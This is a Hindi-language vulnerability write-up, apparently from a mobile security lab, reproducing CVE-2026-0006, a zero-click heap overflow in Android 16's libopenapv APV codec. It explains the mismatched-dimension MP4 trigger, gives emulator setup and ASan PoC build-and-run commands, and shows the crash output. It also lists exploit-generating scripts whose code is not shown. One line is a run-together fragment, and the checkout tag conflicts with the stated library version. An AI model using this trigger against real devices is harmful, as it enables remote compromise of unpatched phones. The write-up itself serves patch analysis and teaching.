
CVE-2026-0006: libopenapv (Android APV कोडेक) के लिए हीप बफ़र ओवरफ़्लो PoC - CVSS 9.8
CVSS 9.8 क्रिटिकल | जंगल में सक्रिय रूप से शोषित | मार्च 2026 में पैच किया गया
नोट: हमने यह भेद्यता खोजी नहीं है। CVE-2026-0006 को खोजने और जिम्मेदारीपूर्वक रिपोर्ट करने का सारा श्रेय मूल शोधकर्ताओं को जाता है। इस रिपोर्ट में हमारा स्वतंत्र पैच विश्लेषण, प्रजनन और शैक्षिक विवरण शामिल है, जो सुरक्षा समुदाय को इस बग श्रेणी और इसमें शामिल शोषण तकनीकों को समझने में मदद करेगा।

CVE-2026-0006, libopenapv में एक हीप बफर ओवरफ्लो है — यह सैमसंग का ओपन-सोर्स APV (एडवांस्ड प्रोफेशनल वीडियो) कोडेक है, जो Android 16 में मेनलाइन मॉड्यूल के रूप में एकीकृत है।
यह भेद्यता एक क्राफ्टेड MP4 फ़ाइल के माध्यम से ज़ीरो-क्लिक रिमोट कोड एक्ज़ीक्यूशन की अनुमति देती है। Android का मीडिया फ्रेमवर्क थंबनेल और प्रीव्यू के लिए वीडियो फ़ाइलों को स्वचालित रूप से प्रोसेस करता है — किसी उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती।
oapvd_info() और oapvd_decode() फ्रेम आयाम अलग-अलग PBU (पेलोड बाइट यूनिट) से पढ़ते हैं। एक हमलावर AU_INFO PBU (टाइप 65) इंजेक्ट करता है जो छोटे आयाम (16x16) का दावा करता है, जबकि वास्तविक FRAME PBU बड़े आयाम (64x64) को एनकोड करता है। फ्रेमवर्क oapvd_info() के आउटपुट के आधार पर बफर आवंटित करता है, फिर oapvd_decode() डिकोड किए गए पिक्सल को FRAME PBU के आयामों पर लिखता है — जिससे बफर 14,848 बाइट्स से ओवरफ्लो हो जाता है।
आपको मार्च 2026 से पहले के सुरक्षा पैच स्तर वाला Android 16 एमुलेटर चाहिए (पुराने Android संस्करणों में APV डिकोडर मौजूद नहीं है)।
# Required system image इंस्टॉल करें (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# AVD बनाएँ
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# एमुलेटर लॉन्च करें
emulator -avd android16_apv -no-snapshot-load
# जाँचें कि APV कोडेक मॉड्यूल मौजूद है
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# सुरक्षा पैच स्तर जाँचें (2026-03-01 से पहले होना चाहिए)
adb shell getprop ro.build.version.security_patch
यदि सुरक्षा पैच 2026-03-01 या उसके बाद का है, तो भेद्यता पैच हो चुकी है और एक्सप्लॉइट काम नहीं करेगा। पहले वाले सिस्टम इमेज या स्नैपशॉट का उपयोग करें।
# आवश्यकता: Android 16 डिवाइस/एमुलेटर से adb कनेक्टेड (मार्च 2026 पैच से पहले)
./deploy_exploit_mp4.sh
यह एक्सप्लॉइट MP4 जनरेट करता है, उसे डिवाइस पर पुश करता है, खोलता है और क्रैश आउटपुट कैप्चर करता है। क्रैश पहले प्रयास में ट्रिगर नहीं हो सकता — स्क्रिप्ट स्वचालित रूप से 3 बार तक पुनः प्रयास करती है।
# आवश्यकता: valid.apv और apv-mp4/valid_ffmpeg.mp4 (दोनों शामिल हैं)
python3 generate_overflow_mp4.py
# आवश्यकता: Android NDK r29+, libopenapv v0.1.11.3 स्रोत
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. libopenapv को ARM64 के लिए ASan के साथ बनाएँ
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. MP4 ASan PoC को क्रॉस-कंपाइल करें
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. डिवाइस पर पुश करें और चलाएँ
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): ssize > 4 सत्यापन और 'aPv1' सिग्नेचर जाँचoapv_param.c मॉड्यूलयह भेद्यता मूल सुरक्षा शोधकर्ताओं द्वारा खोजी गई और जिम्मेदारीपूर्वक रिपोर्ट की गई थी। हमने यह CVE नहीं खोजा। खोज का सारा श्रेय उन्हीं को जाता है।
यह रिपोर्ट Mobile Hacking Lab के स्वतंत्र पैच विश्लेषण और प्रजनन का प्रतिनिधित्व करती है — जो सुरक्षा समुदाय को वास्तविक दुनिया की भेद्यताओं से सीखने में मदद करने के लिए शैक्षिक उद्देश्यों से बनाई गई है।
यह शोध भेद्य लाइब्रेरी के अलग किए गए टेस्ट बिल्ड पर शैक्षिक उद्देश्यों के लिए किया गया था। सभी परीक्षण ओपन-सोर्स libopenapv प्रोजेक्ट के स्थानीय रूप से निर्मित बाइनरी के विरुद्ध किए गए थे। किसी भी उत्पादन डिवाइस या सिस्टम को लक्षित नहीं किया गया।
| फ़ाइल | विवरण |
|---|
generate_overflow_mp4.py | AU_INFO आयाम बेमेल के साथ एक्सप्लॉइट MP4 जनरेट करता है |
deploy_exploit_mp4.sh | वन-शॉट: जनरेट करें, Android डिवाइस पर पुश करें, खोलें और क्रैश कैप्चर करें |
poc_mp4_asan.c | ASan PoC जो C2SoftApvDec डिकोड पथ का अनुकरण करता है |
poc_android_oob_write.c | गार्ड रीजन ओवरफ्लो डिटेक्शन के साथ स्टैंडअलोन ARM64 PoC |
valid.apv | वैध 337-बाइट APV बिटस्ट्रीम (64x64, YUV422, 10-बिट) |
apv-mp4/valid_ffmpeg.mp4 | बेसलाइन MP4 कंटेनर (ffmpeg द्वारा जनरेट किया गया) |
apv-mp4/overflow_auinfo.mp4 | पहले से निर्मित एक्सप्लॉइट MP4 (1,178 बाइट्स) |